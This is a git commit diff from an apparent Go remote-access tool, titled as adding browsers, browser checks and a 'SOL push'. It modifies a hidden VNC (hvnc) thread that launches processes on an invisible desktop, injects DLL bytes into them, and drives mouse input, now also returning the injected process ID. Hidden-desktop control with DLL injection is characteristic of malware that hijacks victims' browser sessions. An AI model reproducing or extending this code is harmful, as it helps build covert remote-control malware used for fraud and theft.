add more browsers, browser checks and move SOL push to management

This commit is contained in:
KingKDot
2026-04-17 09:56:04 -05:00
parent d7a672d334
commit 2353f5a158
13 changed files with 462 additions and 98 deletions
@@ -223,6 +223,7 @@ type hvncTask struct {
type hvncTaskResult struct {
img *image.RGBA
err error
pid uint32
}
type startupInfo struct {
@@ -459,7 +460,7 @@ func ensureHVNCThread() error {
hvncThreadErr = fmt.Errorf("failed to set thread desktop: %v", err)
close(hvncThreadReady)
for task := range hvncThreadTasks {
task.resp <- hvncTaskResult{nil, hvncThreadErr}
task.resp <- hvncTaskResult{err: hvncThreadErr}
}
return
}
@@ -480,7 +481,7 @@ func ensureHVNCThread() error {
case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected:
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown: